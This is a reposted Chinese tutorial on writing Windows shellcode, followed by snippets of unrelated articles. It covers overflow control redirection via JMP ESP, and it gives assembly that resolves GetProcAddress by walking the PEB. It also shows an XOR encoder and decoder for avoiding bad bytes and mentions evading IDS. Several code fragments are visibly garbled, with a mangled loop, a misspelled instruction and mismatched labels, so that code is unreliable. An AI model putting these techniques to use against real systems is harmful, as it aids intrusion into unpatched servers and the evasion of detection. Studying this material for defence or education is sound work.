shellcode

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

 

Shellcode编写考虑因素

  Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:

  ⒈Shellcode的编写语言。 这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。

  ⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

  ⒊Shellcode中使用的API地址定位。

  ⒋Shellcode编码问题。

  ⒌多态技术躲避IDS检测。

Shellcode编写技术

  ⒈Shellcode编写语言

  Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:

void Shellcode() {

  __asm

{

  nop

  nop

  nop

  nop

  nop

  nop

  nop

  nop

  }

  }

然后在main()中用函数指针操作和memcmp定位shellcode,用printf之类函数将shellcode打出来或保存即可。示例代码略。

纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

  ⒉Shellcode代码地址定位,获取程序EIP。

  为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么定位的:利用CALL/POP来实现。

  这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。

  我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。

      而Shellcode在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

  ⒊Shellcode中的API地址定位。

  Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我们这里使用从进程PEB中获取,示例代码如下:

  

__asm   {   push ebp;   sub esp, 0x40;   mov ebp,esp;   push ebp;   mov eax, fs:0x30 ;PEB   mov eax, [eax + 0x0c] ;Ldr   mov esi, [eax + 0x1c] ;Flink   lodsd   mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址   mov eax, [edi+3Ch] ;eax = PE首部   mov edx,[edi+eax+78h]   add edx,edi ;edx = 输出表地址   mov ecx,[edx+18h] ;ecx = 输出函数的个数   mov ebx,[edx+20h]   add ebx,edi ;ebx =函数名地址,AddressOfName   search:   dec ecx   mov esi,[ebx+ecx*4]   add esi,edi ;依次找每个函数名称   ;GetProcAddress   mov eax,0x50746547   cmp [esi], eax; 'PteG'   jne search   mov eax,0x41636f72   cmp [esi+4],eax; 'Acor'   jne search   ;如果是GetProcA,表示找到了   mov ebx,[edx+24h]   add ebx,edi ;ebx = 索引号地址,AddressOf   mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值   mov ebx,[edx+1Ch]   add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction   mov eax,[ebx+ecx*4]   add eax,edi ;利用索引值,计算出GetProcAddress的地址   mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
 接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢。

  ⒋Shellcode的编码问题。

  写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。

  因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:

  

for(i=0;i ch=sc_buff^Enc_key;   //对可能字符进行替换   if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')   {   buff='0';   ++k;   ch+=0x31;   }   //将编码Code放在DecryptSc后   buff[k]=ch;   ++k;   }   解码时代码 解码时代码,示例如下:   jmp next   getEncodeAddr:   pop edi   push edi   pop esi   xor ecx,ecx   Decrypt_lop:   loasb   cmp al,cl   jz shell   cmp al,0x30 //判断是否为特殊字符   jz specal_char_clean   store:   xor al,Enc_key   stosb   jmp Decrypt_lop   special_char_clean:   lodsb   sub al,0x31   jmp store   next:   call getEncodeAddr

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/267913.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小学生都能看懂的FFT!!!

小学生都能看懂的FFT&#xff01;&#xff01;&#xff01; 前言 在创新实践中心偷偷看了一天FFT资料后&#xff0c;我终于看懂了一点。为了给大家提供一份简单易懂的学习资料&#xff0c;同时也方便自己以后复习&#xff0c;我决定动手写这份学习笔记。 食用指南&#xff1a; …

ComboBox自动补全小技巧

网上看的自动补全实在是太麻烦&#xff0c;有时候还用到了第三方控件&#xff0c;但是现在我的需求是这样的 有一个Person类&#xff0c;其中有Code、Name两个属性 Person需要绑定到ComboBox中&#xff0c;在ComboBox中输入Code时&#xff0c;即自动补全相应的Name 想了半天&am…

可做fft分析吗_小吃店生意好做吗,小吃业行情分析

现在创业已经成为一种风尚&#xff0c;不少创业者都打算开一家小吃店&#xff0c;现在小吃店的生意好做吗&#xff1f;开小吃店有没有前景呢&#xff1f;中国人一直以来都非常看重“吃”&#xff0c;民以食为天&#xff0c;食物就是中国人生存的灵魂所在。基本上每个城市、每个…

SVN版本回滚

新入职的公司居然还是用的SVN管理代码&#xff0c;需要版本回滚&#xff0c;弄了半天&#xff0c;顺便记录一下。 当前的最新版本号是1470&#xff0c;其中1467到1470这几个提交都要被移除时&#xff0c;在项目文件夹下使用下面的代码&#xff1a; svn merge -r 1470:1466 . 这…

ase加密放linux报错_Linux应用安装有福啦!和苹果Mac一样方便的单文件安装

自从用了苹果macbook&#xff0c;和windows基本上就再见了&#xff0c;苹果系统的稳定性太出色了&#xff0c;使用完合上盖子放十天半个月的没一点问题&#xff0c;一叫就醒&#xff0c;一醒就能接着工作&#xff0c;windows系统不行&#xff0c;要么睡了叫不醒&#xff0c;要么…

我的软考之路——软考心得

软考&#xff1f;是什么东西&#xff0c;可能大多数人跟我一样&#xff0c;刚听到这个词语觉得很陌生&#xff0c;但当我走进社会&#xff0c;面临到工作的压力&#xff0c;要求自己必须学习进步的时候&#xff0c;认识了它! 那时候参加工作也几年了&#xff0c;工作的压力是…

拼图展示

转载于:https://www.cnblogs.com/zm1994/p/8033332.html

[转载]TopCoder兼职赚钱入门(Part. 1)

原文地址&#xff1a;【原创】TopCoder兼职赚钱入门&#xff08;Part. 1&#xff09;作者&#xff1a;汪昊成最近找我问TC的朋友越来越多&#xff0c;于是就想写一个入门教程放在这里。对我来说&#xff0c;TC目前是总收入的一个重要组成部分&#xff0c;虽然不如工资多&#x…

c++全局监听ctrl s_号称史上最全!134个CAD快捷键强烈来袭,难道你只知道Ctrl+C?...

想要提高CAD绘图速率你就必须熟记CAD快捷键&#xff0c;小编盘点了134个CAD个快捷键&#xff0c;号称史上最全&#xff0c;一起来看看吧。一、常用字母键CO&#xff1a;复制MI&#xff1a;镜像AR&#xff1a;阵列O&#xff1a;偏移RO&#xff1a;旋转M&#xff1a;移动E&#x…

51nod 1623 完美消除(数位DP)

首先考虑一下给一个数如何求它需要多少次操作。 显然用一个单调栈就可以完成&#xff1a;塞入栈中&#xff0c;将比它大的所有数都弹出&#xff0c;如果栈中没有当前数&#xff0c;答案1。 因为数的范围只有0~9&#xff0c;所以我们可以用一个二进制数来模拟这个栈&#xff0c;…

Javascript-7对象:字符串、时间

JavaScript-7对象:字符串、时间字符串&#xff08;String&#xff09;对象&#xff1a; Javascript是面向对象的编程语言&#xff0c;我们可以定义自己的对象和变量类型。 计算字符串长度&#xff1a; var txt"Hello world!" document.write(txt.length) 结果为&…

代码 拉取_Git 利用 Webhooks 实现代码的自动拉取

WebHook 简介WebHook 功能是帮助用户 push 代码后&#xff0c;自动回调一个您设定的 http 地址。 这是一个通用的解决方案&#xff0c;用户可以自己根据不同的需求&#xff0c;来编写自己的脚本程序。环境服务器&#xff1a;ubuntuphp&#xff1a;7.2.28本文以拉取码云&#xf…

Git 分布式版本控制常用命令(1)

安装完成后,标定自己身份,配置自己的姓名与邮箱git config --global user.name "Name" git config --global user.email "examplemail.com" 初始化Git仓库git init 添加文件到Git仓库git add <file> git commit -m "Add some comment" 查看…

数据结构最短路径例题_数据结构算法实验8图的最短路径问题附源代码.doc

浙江大学城市学院实验报告课程名称 数据结构与算法实验项目名称 实验八 图的最短路径问题实验成绩 指导老师(签名 ) 日期实验目的和要求掌握图的最短路径概念。理解并能实现求最短路径的DijKstra算法(用邻接矩阵表示图)。二. 实验内容1、编写用邻接矩阵表示有向带权图时图的基本…

navicat连接mysql报10061错

可能原因&#xff1a;mysql服务未启动 解决办法&#xff1a;进入到计算机管理&#xff0c;找到服务&#xff0c;然后找到mysql服务&#xff0c;并启动该服务 转载于:https://www.cnblogs.com/mengyinianhua/p/8041201.html

长牙顺序

20个乳牙宝宝的诞生是有顺序的&#xff0c;虽然不一定一成不变&#xff0c;但是也可以作为参照的依据。 1.下乳中切牙 2.上乳中切牙 3.上乳侧切牙 4.下乳侧切牙 5.下第一乳磨牙 6.上第一乳磨牙 7.下乳尖牙 8.上乳尖牙 9.下第二乳磨牙 10.上第二乳磨牙 5~10个月&…

疲劳容器的定义_材料疲劳

结构力学材料疲劳什么是材料疲劳&#xff1f;材料疲劳 是一种结构在循环载荷作用下出现失效的现象。即使材料受到的应力远低于材料的静态强度&#xff0c;也可能会发生这种类型的结构损伤。疲劳是造成机械结构失效最常见的原因。组件在反复载荷作用下导致最终失效的过程&#x…

python天蝎座-day1笔记

一、接口测试即功能测试 最常见&#xff1a; get post 二、jmeter参数化有三种方法&#xff1a; 1、jmeter-选项-函数助手对话框-random-输入最小值和最大值&#xff0c;生成-将生成的函数字符串赋值到需要函数化的参数 2、添加配置元件&#xff1a;CSV Data Set Config&#x…

国产海量存储系统的新突破

3月8—14日&#xff0c;“十一五”国家重大科技成就展在北京国家会议中心举行。本次展览集中展出了一批对国民经济和社会发展有着重大影响、具有重大创新与突破和自主知识产权的重大标志性项目。 本次参展的项目约600项&#xff0c;参展实物近1000件&#xff0c;模型150多件。信…

软件工程电商系统数据库定义_某个电子商务系统项目的数据库设计

杨教授工作室&#xff0c;版权所有&#xff0c;盗版必究&#xff0c;1/13页11.1EbookStore/EBank项目的数据源设计1.1.1本项目中的数据库设计概述1、数据库设计(1)数据库设计方法一般数据库设计方法有两种,即属性主导型和实体主导型。属性主导型从归纳数据库应用的属性出发,在…